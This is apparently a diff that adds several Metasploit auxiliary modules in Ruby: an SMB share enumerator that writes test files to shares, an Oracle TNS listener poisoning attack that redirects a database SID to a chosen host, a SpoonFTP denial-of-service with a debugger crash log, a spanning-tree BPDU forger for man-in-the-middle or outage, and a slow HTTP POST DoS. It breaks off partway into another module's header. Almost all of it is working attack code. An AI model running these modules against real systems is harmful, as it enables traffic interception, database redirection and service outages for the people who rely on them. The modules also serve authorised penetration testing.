types = ["UNSET", "BEEP", "CDROM", "CDROM FILE SYSTEM", "CONTROLLER", "DATALINK",
|
||||
"DFS", "DISK", "DISK FILE SYSTEM", "FILE SYSTEM", "INPORT PORT", "KEYBOARD",
|
||||
"MAILSLOT", "MIDI IN", "MIDI OUT", "MOUSE", "UNC PROVIDER", "NAMED PIPE",
|
||||
"NETWORK", "NETWORK BROWSER", "NETWORK FILE SYSTEM", "NULL", "PARALLEL PORT",
|
||||
"PHYSICAL NETCARD", "PRINTER", "SCANNER", "SERIAL MOUSE PORT", "SERIAL PORT",
|
||||
"SCREEN", "SOUND", "STREAMS", "TAPE", "TAPE FILE SYSTEM", "TRANSPORT", "UNKNOWN",
|
||||
"VIDEO", "VIRTUAL DISK", "WAVE IN", "WAVE OUT", "8042 PORT", "NETWORK REDIRECTOR",
|
||||
"BATTERY", "BUS EXTENDER", "MODEM", "VDM"]
|
||||
return types[device_type]
|
||||
end
|
||||
|
||||
def eval_host(ip, share)
|
||||
read = write = false
|
||||
return false,false,nil,nil if share == 'IPC$'
|
||||
|
||||
simple.connect("\\\\#{ip}\\#{share}")
|
||||
|
||||
begin
|
||||
device_type = self.simple.client.queryfs_fs_device['device_type']
|
||||
|
||||
if(not device_type)
|
||||
print_error("\\\\#{ip}\\#{share}: Error querying filesystem device type")
|
||||
return false,false,nil,nil
|
||||
end
|
||||
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
if(e.to_s =~ /The server responded with error: 0xffff0002/)
|
||||
# 0xffff0002 means that the server can't handle the request for device type
|
||||
device_type=-1
|
||||
elsif( e.to_s =~ /The server responded with error: STATUS_INVALID_DEVICE_REQUEST/)
|
||||
return false,false,"Invalid device request"
|
||||
elsif( e.to_s =~ /The server responded with error: 0x00040002/ )
|
||||
return false,false,"Mac/Apple Clipboard?"
|
||||
|
||||
elsif( e.to_s =~ /The server responded with error: STATUS_NETWORK_ACCESS_DENIED/ or
|
||||
e.to_s =~ /The server responded with error: 0x00030001/ or
|
||||
e.to_s =~ /The server resposded with error: 0x00060002/
|
||||
)
|
||||
#0x0006002 = bad network name, 0x0030001 Directory not found
|
||||
return false,false,nil,nil
|
||||
else
|
||||
print_error("\\\\#{ip}\\#{share}: Error querying filesystem device type (#{e})")
|
||||
return false,false,nil,nil
|
||||
end
|
||||
end
|
||||
|
||||
skip = false
|
||||
msg = ''
|
||||
case device_type
|
||||
when -1
|
||||
msg = "Unable to determine device"
|
||||
when 1, 21 .. 29, 34 .. 35, 37 .. 44
|
||||
skip = true
|
||||
msg = "Unhandled Device Type (#{device_type})"
|
||||
when 2 .. 16, 18 .. 20, 30 .. 33, 36
|
||||
msg = device_type_int_to_text(device_type)
|
||||
when 17
|
||||
skip = true
|
||||
msg = device_type_int_to_text(device_type)
|
||||
else
|
||||
msg = "Unknown Device Type"
|
||||
msg << " (#{device_type})" if device_type
|
||||
end
|
||||
|
||||
return read,write,msg,nil if(skip)
|
||||
|
||||
rfd = self.simple.client.find_first("\\")
|
||||
read = true if rfd != nil
|
||||
filename = Rex::Text.rand_text_alpha(rand(8))
|
||||
wfd = simple.open("\\#{filename}", 'rwct')
|
||||
wfd << Rex::Text.rand_text_alpha(rand(1024))
|
||||
wfd.close
|
||||
simple.delete("\\#{filename}")
|
||||
simple.disconnect("\\\\#{ip}\\#{share}")
|
||||
write = true # Operating under assumption STATUS_ACCESS_DENIED or the like will get thrown before write=true
|
||||
|
||||
return read,write,msg,rfd
|
||||
|
||||
rescue ::Rex::Proto::SMB::Exceptions::NoReply,::Rex::Proto::SMB::Exceptions::InvalidType,
|
||||
::Rex::Proto::SMB::Exceptions::ReadPacket,::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||
return read,false,msg,rfd
|
||||
rescue ::Exception => e
|
||||
print_error("Error: '#{ip}' '#{e.class}' '#{e}' '#{e.backtrace}'")
|
||||
end # eval host
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
found = false
|
||||
[[139, false], [445, true]].each do |info|
|
||||
|
||||
datastore['RPORT'] = info[0]
|
||||
datastore['SMBDirect'] = info[1]
|
||||
|
||||
begin
|
||||
connect
|
||||
smb_login
|
||||
|
||||
res = self.simple.client.trans(
|
||||
"\\PIPE\\LANMAN",
|
||||
(
|
||||
[0x00].pack('v') +
|
||||
"WrLeh\x00" +
|
||||
"B13BWz\x00" +
|
||||
[0x01, 65406].pack("vv")
|
||||
)
|
||||
)
|
||||
|
||||
shares = []
|
||||
|
||||
lerror, lconv, lentries, lcount = res['Payload'].to_s[
|
||||
res['Payload'].v['ParamOffset'],
|
||||
res['Payload'].v['ParamCount']
|
||||
].unpack("v4")
|
||||
|
||||
data = res['Payload'].to_s[
|
||||
res['Payload'].v['DataOffset'],
|
||||
res['Payload'].v['DataCount']
|
||||
]
|
||||
|
||||
0.upto(lentries - 1) do |i|
|
||||
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
|
||||
stype = data[(i * 20) + 14, 2].unpack('v')[0]
|
||||
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
|
||||
if ( lconv != 0)
|
||||
scoff -= lconv
|
||||
end
|
||||
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
|
||||
|
||||
shares << [ sname, share_type(stype), scomm]
|
||||
end
|
||||
|
||||
if not shares.empty?
|
||||
read = false
|
||||
write = false
|
||||
found = true
|
||||
os = smb_fingerprint
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'smb.shares',
|
||||
:data => { :shares => shares },
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
str = "#{shares.map{|x| "#{x[0]}"}.join("\x00")}"
|
||||
list = str.split(/\x00/)
|
||||
str.gsub!(/\x00/, ', ')
|
||||
out = "#{ip}:#{rport}"
|
||||
out << " \\\\#{simple.client.default_domain}" if simple.client.default_domain and simple.client.default_name
|
||||
out << "\\#{simple.client.default_name}" if simple.client.default_name
|
||||
|
||||
desc = " #{os['os']} #{os['sp']}" if os['os'] != "Unknown"
|
||||
desc << " (lang: #{os['lang']})" if os['lang'] != "Unknown"
|
||||
out << desc if desc != nil
|
||||
|
||||
report_service(
|
||||
:host => ip,
|
||||
:port => info[0],
|
||||
:proto => 'tcp',
|
||||
:name => 'smb',
|
||||
:info => desc
|
||||
) if desc != nil
|
||||
|
||||
print_status(out + ": Found #{shares.length} shares (#{str})")
|
||||
list.each do |x|
|
||||
read,write,type,files = eval_host(ip, x)
|
||||
if(read or write)
|
||||
out = "#{ip}"
|
||||
out << " \\\\#{simple.client.default_domain}" if simple.client.default_domain and simple.client.default_name
|
||||
out << "\\#{simple.client.default_name}" if simple.client.default_name
|
||||
out << "\\#{x} "
|
||||
out << " (#{type})" if type != nil
|
||||
out << " is readable" if read
|
||||
out << " is writable" if write
|
||||
first = true
|
||||
if datastore['VERBOSE']
|
||||
files.each do |file|
|
||||
if file[0] != '.' and file[0] != '..' and file[0]
|
||||
fa = file[1]['attr']
|
||||
info = file[1]['info']
|
||||
tcr = ::Time.at(::Rex::Proto::SMB::Utils.time_smb_to_unix(info[3], info[2])).strftime("%m-%d-%Y %H:%M:%S")
|
||||
tac = ::Time.at(::Rex::Proto::SMB::Utils.time_smb_to_unix(info[5], info[4])).strftime("%m-%d-%Y %H:%M:%S")
|
||||
twr = ::Time.at(::Rex::Proto::SMB::Utils.time_smb_to_unix(info[7], info[6])).strftime("%m-%d-%Y %H:%M:%S")
|
||||
tch = ::Time.at(::Rex::Proto::SMB::Utils.time_smb_to_unix(info[9], info[8])).strftime("%m-%d-%Y %H:%M:%S")
|
||||
sz = info[12] + info[13]
|
||||
|
||||
case fa
|
||||
when 1
|
||||
fa = "RO"
|
||||
when 2
|
||||
fa = "HIDDEN"
|
||||
when 4
|
||||
fa = "SYS"
|
||||
when 8
|
||||
fa = "VOL"
|
||||
when 16
|
||||
fa = "DIR"
|
||||
when 32
|
||||
fa = "ARC"
|
||||
when 64
|
||||
fa = "DEV"
|
||||
when 128
|
||||
fa = "FILE"
|
||||
end
|
||||
if first
|
||||
out << "\n"
|
||||
out << sprintf("%-6s %-25s ", "Type" , "Name")
|
||||
out << sprintf("%-21s %-21s %-21s %-21s %-15s\n", "Created", "Accessed", "Written", "Changed", "Size")
|
||||
first = false
|
||||
end
|
||||
|
||||
out << sprintf("%-6s %-25s ", fa, file[0])
|
||||
out << sprintf("%-21s %-21s %-21s %-21s ", tcr,tac,twr,tch)
|
||||
out << "#{sz}\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
print_good(out)
|
||||
end
|
||||
end
|
||||
end # if shares not empty
|
||||
break if found and rport == 139
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue
|
||||
next if not found and rport == 139
|
||||
rescue ::Rex::ConnectionError,Errno::ECONNRESET,
|
||||
::Rex::Proto::SMB::Exceptions::InvalidType,::Rex::Proto::SMB::Exceptions::ReadPacket,
|
||||
::Rex::Proto::SMB::Exceptions::LoginError,::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
||||
::Rex::Proto::SMB::Exceptions::ErrorCode,::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
||||
::Rex::Proto::SMB::Exceptions::NoReply => e
|
||||
next if not found and rport == 139 # no results, try again
|
||||
rescue Errno::ENOPROTOOPT
|
||||
sleep 5
|
||||
retry
|
||||
rescue ::Exception => e
|
||||
next if(e.to_s =~ /execution expired/)
|
||||
print_error("Error: '#{ip}' '#{e.class}' '#{e}' '#{e.backtrace}'")
|
||||
|
||||
end # begin
|
||||
return if(rport == 139 and found ) # if we already got results on 139, no need to try 445
|
||||
end # each info
|
||||
disconnect
|
||||
return
|
||||
end # run_host
|
||||
end
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::OracleTNS
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TNS Posion Attack',
|
||||
'Description' => %q{
|
||||
This module mimplement the TNS poisoning attack, discovered
|
||||
by Joxean Koret. It works for SIDs with length between 1-12
|
||||
thus with all possible length. It wast tested against
|
||||
11.2.0.3 64 bit on Windows and on Linux.
|
||||
},
|
||||
'Author' => [ 'donctl' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.joxeankoret.com/download/tnspoison.pdf' ],
|
||||
],
|
||||
'DisclosureDate' => 'April 18 2012'))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('DHOST', [ true, "HOST to redirect to, it should be"\
|
||||
" IP address only"]),
|
||||
OptString.new('DPORT', [ true, "PORT to redirect to, it can be 4"\
|
||||
" digits only", "1521"])
|
||||
], self.class)
|
||||
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
while true
|
||||
print_status("Connect to %s:%s.\n" % [datastore["RHOST"], datastore["RPORT"]])
|
||||
#Connects to the server, creates the socket. The poisoned entries are there
|
||||
#until we disconnect
|
||||
if !tns_command("(CONNECT_DATA=(COMMAND=service_register_NSGR))")
|
||||
print_error("Something wrong with the connect packet!\n")
|
||||
end
|
||||
print_status("Sending register packet with SID %s to redirect to %s:%s\n." % [datastore["SID"],
|
||||
datastore["DHOST"], datastore["DPORT"]])
|
||||
if !send_register(datastore["SID"], datastore["DHOST"], datastore["DPORT"])
|
||||
print_error("Something wrong with the register packet!\n")
|
||||
end
|
||||
print_status("Wait for 10 seconds.\n")
|
||||
sleep(10)
|
||||
@sock.close
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,118 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SpoonFTP <= 1.2 RETR Denial Of Service',
|
||||
'Description' => %q{
|
||||
This Module exploits a bug found in SpoonFTP 1.2
|
||||
of the Denial of Service that occurs when the spooftp receives
|
||||
a malformed command RETR it calls the function "AppendQueue()"
|
||||
which causes a READ VIOLATION the movement of a string.
|
||||
},
|
||||
'Author' => "C4SS!0 G0M3S",
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
|
||||
'References' =>
|
||||
[
|
||||
['URL','http://packetstormsecurity.org/files/99466/SpoonFTP-1.2-Denial-Of-Service.html'],
|
||||
['URL','http://www.exploit-db.com/exploits/17021/'],
|
||||
['URL','http://www.securityfocus.com/bid/46952'],
|
||||
],
|
||||
'DisclosureDate' => 'Apr 03 2011'))
|
||||
|
||||
register_options([
|
||||
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
||||
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
connect_login
|
||||
print_status("Sending Exploit Denial of Service...")
|
||||
exploit = "/\\" * (6000/3)
|
||||
send_cmd(['RETR',exploit],true)
|
||||
print_status("Submitted Exploit Success;-)")
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
CommandLine: "D:\Arquivos de programas\SpoonFTP\ftpd.exe"
|
||||
Symbol search path is: SRV*d:\simbolos*http://msdl.microsoft.com/download/symbols;SRV*d:\simbolos*http://chromium-browser-symsrv.commondatastorage.googleapis.com;SRV*d:\simbolos*http://symbols.mozilla.org/firefox
|
||||
Executable search path is:
|
||||
ModLoad: 00400000 00432000 image00400000
|
||||
ModLoad: 7c900000 7c9b6000 ntdll.dll
|
||||
ModLoad: 7c800000 7c900000 D:\WINDOWS\system32\kernel32.dll
|
||||
ModLoad: 5d510000 5d5aa000 D:\WINDOWS\system32\COMCTL32.dll
|
||||
ModLoad: 77f50000 77ffb000 D:\WINDOWS\system32\ADVAPI32.dll
|
||||
ModLoad: 77db0000 77e43000 D:\WINDOWS\system32\RPCRT4.dll
|
||||
ModLoad: 77f20000 77f31000 D:\WINDOWS\system32\Secur32.dll
|
||||
ModLoad: 77e50000 77e99000 D:\WINDOWS\system32\GDI32.dll
|
||||
ModLoad: 7e360000 7e3f1000 D:\WINDOWS\system32\USER32.dll
|
||||
ModLoad: 71a90000 71a9a000 D:\WINDOWS\system32\WSOCK32.dll
|
||||
ModLoad: 71a70000 71a87000 D:\WINDOWS\system32\WS2_32.dll
|
||||
ModLoad: 77bf0000 77c48000 D:\WINDOWS\system32\msvcrt.dll
|
||||
ModLoad: 71a60000 71a68000 D:\WINDOWS\system32\WS2HELP.dll
|
||||
ModLoad: 7c9c0000 7d1de000 D:\WINDOWS\system32\SHELL32.dll
|
||||
ModLoad: 77ea0000 77f16000 D:\WINDOWS\system32\SHLWAPI.dll
|
||||
(ec.f60): Break instruction exception - code 80000003 (first chance)
|
||||
eax=00241eb4 ebx=7ffdb000 ecx=00000007 edx=00000080 esi=00241f48 edi=00241eb4
|
||||
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
ntdll!DbgBreakPoint:
|
||||
7c90120e cc int 3
|
||||
0:000> g
|
||||
ModLoad: 773b0000 774b3000 D:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\comctl32.dll
|
||||
ModLoad: 5b1c0000 5b1f8000 D:\WINDOWS\system32\uxtheme.dll
|
||||
ModLoad: 77670000 77691000 D:\WINDOWS\system32\NTMARTA.DLL
|
||||
ModLoad: 774c0000 775fe000 D:\WINDOWS\system32\ole32.dll
|
||||
ModLoad: 71bc0000 71bd3000 D:\WINDOWS\system32\SAMLIB.dll
|
||||
ModLoad: 76f40000 76f6d000 D:\WINDOWS\system32\WLDAP32.dll
|
||||
ModLoad: 71a10000 71a50000 D:\WINDOWS\system32\mswsock.dll
|
||||
ModLoad: 60b30000 60b88000 D:\WINDOWS\system32\hnetcfg.dll
|
||||
ModLoad: 71a50000 71a58000 D:\WINDOWS\System32\wshtcpip.dll
|
||||
(ec.f70): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=008b4198 ebx=00000000 ecx=3fffeef2 edx=ffffffff esi=0014fe40 edi=00153000
|
||||
eip=00410291 esp=00b3fb1c ebp=00b3fb28 iopl=0 nv up ei pl nz na pe cy
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010207
|
||||
*** WARNING: Unable to verify checksum for image00400000
|
||||
*** ERROR: Module load completed but symbols could not be loaded for image00400000
|
||||
image00400000+0x10291:
|
||||
00410291 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
0:002> u
|
||||
image00400000+0x10291:
|
||||
00410291 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
00410293 8bca mov ecx,edx
|
||||
00410295 83e103 and ecx,3
|
||||
00410298 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
|
||||
0041029a 8b4508 mov eax,dword ptr [ebp+8]
|
||||
0041029d 8b4808 mov ecx,dword ptr [eax+8]
|
||||
004102a0 51 push ecx
|
||||
004102a1 ff15c4a04100 call dword ptr [image00400000+0x1a0c4 (0041a0c4)]
|
||||
|
||||
=end
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
#begin auxiliary/spoof/cisco/stp.rb
|
||||
require 'msf/core'
|
||||
require 'racket'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Forge Spanning-Tree BPDUs',
|
||||
'Description' => %q{
|
||||
This module forges Spanning-Tree BPDUs to claim
|
||||
the Root role. This will either result in a MiTM or a DOS. You need to set
|
||||
the RMAC field to a MAC address lower than the current root
|
||||
bridge (hint: use wireshark) or use AUTO to sniff and generate one.
|
||||
},
|
||||
'Author' => [ 'Spencer McIntyre' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'Service' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'Service'
|
||||
],
|
||||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
begin
|
||||
require 'pcaprub'
|
||||
@@havepcap = true
|
||||
rescue ::LoadError
|
||||
@@havepcap = false
|
||||
end
|
||||
|
||||
register_options([
|
||||
OptString.new('RMAC', [ false, "The Root MAC To Spoof", '00:00:00:00:00:00']),
|
||||
OptBool.new('AUTO', [ true, "Automatically Guess A Lower Root MAC", true]),
|
||||
OptString.new('INTERFACE', [true, "The name of the interface", 'eth0'])
|
||||
])
|
||||
|
||||
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET', 'NETMASK', 'GATEWAY')
|
||||
register_advanced_options([
|
||||
OptInt.new('MaxAge', [ true, "The amount of time a switch will retain a BPDU's contents before discarding it.", 20]),
|
||||
OptInt.new('HelloTime', [ true, "The interval between BPDUs.", 2]),
|
||||
OptInt.new('ForwardDelay', [ true, "The time spent in the listening and learning states.", 15]),
|
||||
OptInt.new('Wait', [ true, "The amount of time to sniff for a STP BPDU to guess the root MAC", 15]),
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
@auto = false
|
||||
if (datastore['AUTO'].to_s.match(/^(t|y|1)/i))
|
||||
@auto = true
|
||||
end
|
||||
if @auto
|
||||
raise "Pcaprub is not available" if not @@havepcap
|
||||
open_pcap({'FILTER' => 'ether dst 01:80:C2:00:00:00'})
|
||||
pcap = self.capture
|
||||
begin
|
||||
Timeout.timeout(datastore['Wait'].to_i) do
|
||||
pcap.each do |r|
|
||||
eth = Racket::L2::Ethernet.new( r )
|
||||
llc = Racket::L2::LLC.new( eth.payload )
|
||||
stp = Racket::L3::STP.new( llc.payload )
|
||||
|
||||
@rmac = stp.root_id #the following 8 lines make sure the MAC is lower so we can steal the root
|
||||
$i = 9;
|
||||
until (@rmac.to_s[$i .. ($i + 1)].hex - 1) > 0 do
|
||||
if $i == 0
|
||||
next
|
||||
end
|
||||
$i = $i - 3
|
||||
end
|
||||
tmp = (@rmac.to_s[$i .. ($i + 1)].hex - 1)
|
||||
if tmp < 16
|
||||
@rmac = @rmac[0 .. ($i - 1)] + '0' + tmp.to_s(16) + @rmac[($i + 2) .. 16]
|
||||
else
|
||||
@rmac = @rmac[0 .. ($i - 1)] + tmp.to_s(16) + @rmac[($i + 2) .. 16]
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error('stp: Could Not Find STP Instance')
|
||||
return 0
|
||||
end
|
||||
end
|
||||
###
|
||||
@run = true
|
||||
n = Racket::Racket.new
|
||||
helloTime = datastore['HelloTime'].to_i
|
||||
forwardDelay = datastore['ForwardDelay'].to_i
|
||||
maxAge = datastore['MaxAge'].to_i
|
||||
|
||||
n.l2 = Racket::L2::Ethernet.new()
|
||||
if @auto
|
||||
src_mac = @rmac.to_s[0 .. 15]
|
||||
src_mac << (16 + rand(238)).to_s(16)
|
||||
n.l2.src_mac = src_mac
|
||||
else
|
||||
@rmac = datastore['RMAC']
|
||||
if @rmac.length != 17
|
||||
print_error('stp: Invalid Field RMAC')
|
||||
return 0
|
||||
end
|
||||
n.l2.src_mac = @rmac
|
||||
@rmac = @rmac.to_s[0 .. 15] << '00'
|
||||
end
|
||||
n.l2.dst_mac = '01:80:c2:00:00:00' # this has to stay the same
|
||||
n.l2.ethertype = 0x0026
|
||||
|
||||
n.l3 = Racket::L2::LLC.new()
|
||||
n.l3.control = 0x03
|
||||
n.l3.dsap = 0x42
|
||||
n.l3.ssap = 0x42
|
||||
|
||||
n.l4 = Racket::L3::STP.new()
|
||||
n.l4.protocol = 0x0000
|
||||
n.l4.version = 0x00
|
||||
n.l4.bpdu_type = 0x00
|
||||
n.l4.root_id = @rmac
|
||||
n.l4.root_wtf = ( 0b1000 * (2 ** 12))
|
||||
n.l4.root_cost = 0x0000
|
||||
n.l4.bridge_id = @rmac
|
||||
n.l4.bridge_wtf = ( 0b1000 * (2 ** 12))
|
||||
n.l4.port_id = 0x8001
|
||||
n.l4.msg_age = 0x0000
|
||||
n.l4.max_age = maxAge * 256
|
||||
n.l4.hello_time = helloTime * 256
|
||||
n.l4.forward_delay = forwardDelay * 256
|
||||
n.l4.payload = "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
n.iface = datastore['INTERFACE']
|
||||
n.pack()
|
||||
|
||||
while @run
|
||||
n.send2()
|
||||
select(nil, nil, nil, helloTime)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,140 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'thread'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OWASP HTTP POST Strawman DoS',
|
||||
'Description' => %q{
|
||||
This module performs a DoS attack on a web application using the HTTP POST technique
|
||||
presented by Wong Onn Chee and Tom Brennen at OWASP AppSec DC 2010.
|
||||
|
||||
The strawman technique is a layer 7 based attack that utilizes a weakness in the POST protocol that
|
||||
allows an attacker to slow down the POST process to occupy resources. For example,
|
||||
by specifying a large Content-Length in the HTTP header of a request and then only
|
||||
sending one byte every long interval (e.g. 10 seconds) the attacker can occupy resources
|
||||
on the target machine.
|
||||
|
||||
This module requires the use of a form to POST to on the target website. A fairly low bar
|
||||
for most websites.
|
||||
|
||||
There is currently no patch for Apache or IIS though there are mitigation techniques
|
||||
for Apache and at the application layer.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Wong Onn Chee', # original research
|
||||
'Tom Brennen', # research
|
||||
'willis' # msf port
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'www.owasp.org/images/4/43/Layer_7_DDOS.pdf' ]
|
||||
],
|
||||
'DisclosureDate' => 'Sep 1 2009'))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80),
|
||||
Opt::RHOST(),
|
||||
OptString.new('URI', [ true, 'Form Location', '/search.aspx' ]),
|
||||
OptString.new('POST', [ true, 'Required POST String', 'search_string=waffles' ])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('Connections', [ true, 'Number of concurrent connections to make', 500 ]),
|
||||
OptString.new('Referrer', [ true, 'Referrer', "http://www.google.com" ]),
|
||||
OptString.new('UserAgent', [ false, 'User Agent to use', nil]),
|
||||
OptInt.new('ContentLength', [ true, 'Content Length to use', 10000 ]),
|
||||
OptBool.new('RandomUA', [false, 'Randomize User Agent in each connection', false])
|
||||
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def random_user_agent
|
||||
[
|
||||
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
|
||||
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1),Opera/9.00 (Windows NT 5.1; U; en)",
|
||||
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Safari/3.0.2"
|
||||
].choice
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
uri = datastore['URI']
|
||||
user_agent = datastore['User Agent']
|
||||
referrer = datastore['Referrer']
|
||||
content_length = datastore['Content-Length']
|
||||
|
||||
threads = []
|
||||
|
||||
# let's generate random header data once to save cycles
|
||||
header1 = Rex::Text.rand_text_alphanumeric(8)
|
||||
header2 = Rex::Text.rand_text_alphanumeric(8)
|
||||
|
||||
print_status("Spawning #{datastore['connections']} connections to #{rhost}:#{rport} with content length #{content_length}...")
|
||||
(1..Integer(datastore['connections'])).each do |i|
|
||||
threads << framework.threads.spawn("Module(#{self.refname})-#{rhost}", true) { |attack|
|
||||
|
||||
rand_agent = datastore['UserAgent'] || random_user_agent
|
||||
|
||||
http_headers = "POST " + uri + " HTTP/1.1\r\n"
|
||||
http_headers << "Pragma: no-cache\r\n"
|
||||
http_headers << "Proxy-Connection: Keep-Alive\r\n"
|
||||
http_headers << "Host: " + rhost + "\r\n"
|
||||
http_headers << "User-Agent: " + user_agent + "\r\n"
|
||||
http_headers << "Keep-Alive: 900\r\n"
|
||||
http_headers << "Proxy-Connection: keep-alive\r\n"
|
||||
http_headers << "Referer:" + referrer + "\r\n"
|
||||
http_headers << "Transfer-Encoding: chunked\r\n"
|
||||
http_headers << "Content-Type: application/x-www-form-urlencoded \r\n"
|
||||
http_headers << "X-" + header1 + ":" + header2 + "\r\n"
|
||||
http_headers << "Content-Length: #{content_length}\r\n\r\n"
|
||||
|
||||
connect
|
||||
sock.put(http_headers)
|
||||
|
||||
size = 0
|
||||
random_post_data = Rex::Text.rand_text_alphanumeric(content_length-datastore['POST'].size)
|
||||
post_data = datastore['POST'] + random_post_data
|
||||
|
||||
while(content_length > 0)
|
||||
rand_length = rand(10)+1
|
||||
#send a random number of characters each time to again avoid detection
|
||||
sock.put(post_data[size..(size+rand_length)])
|
||||
|
||||
#decide if we still have data to send
|
||||
content_length = content_length - rand_length
|
||||
|
||||
#wait before sending more data
|
||||
sleep(rand(10))
|
||||
end
|
||||
sock.put("\r\n")
|
||||
disconnect
|
||||
}
|
||||
end
|
||||
threads.each { |aThread| aThread.join }
|
||||
print_status("Closing all connections..")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,117 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# Thanks to Tod Beardsley for the guidance and showing me the error of my ways with the PacketFu stuff
|
||||
# style guidlines, and the metasploit scanner module.
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Capture
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
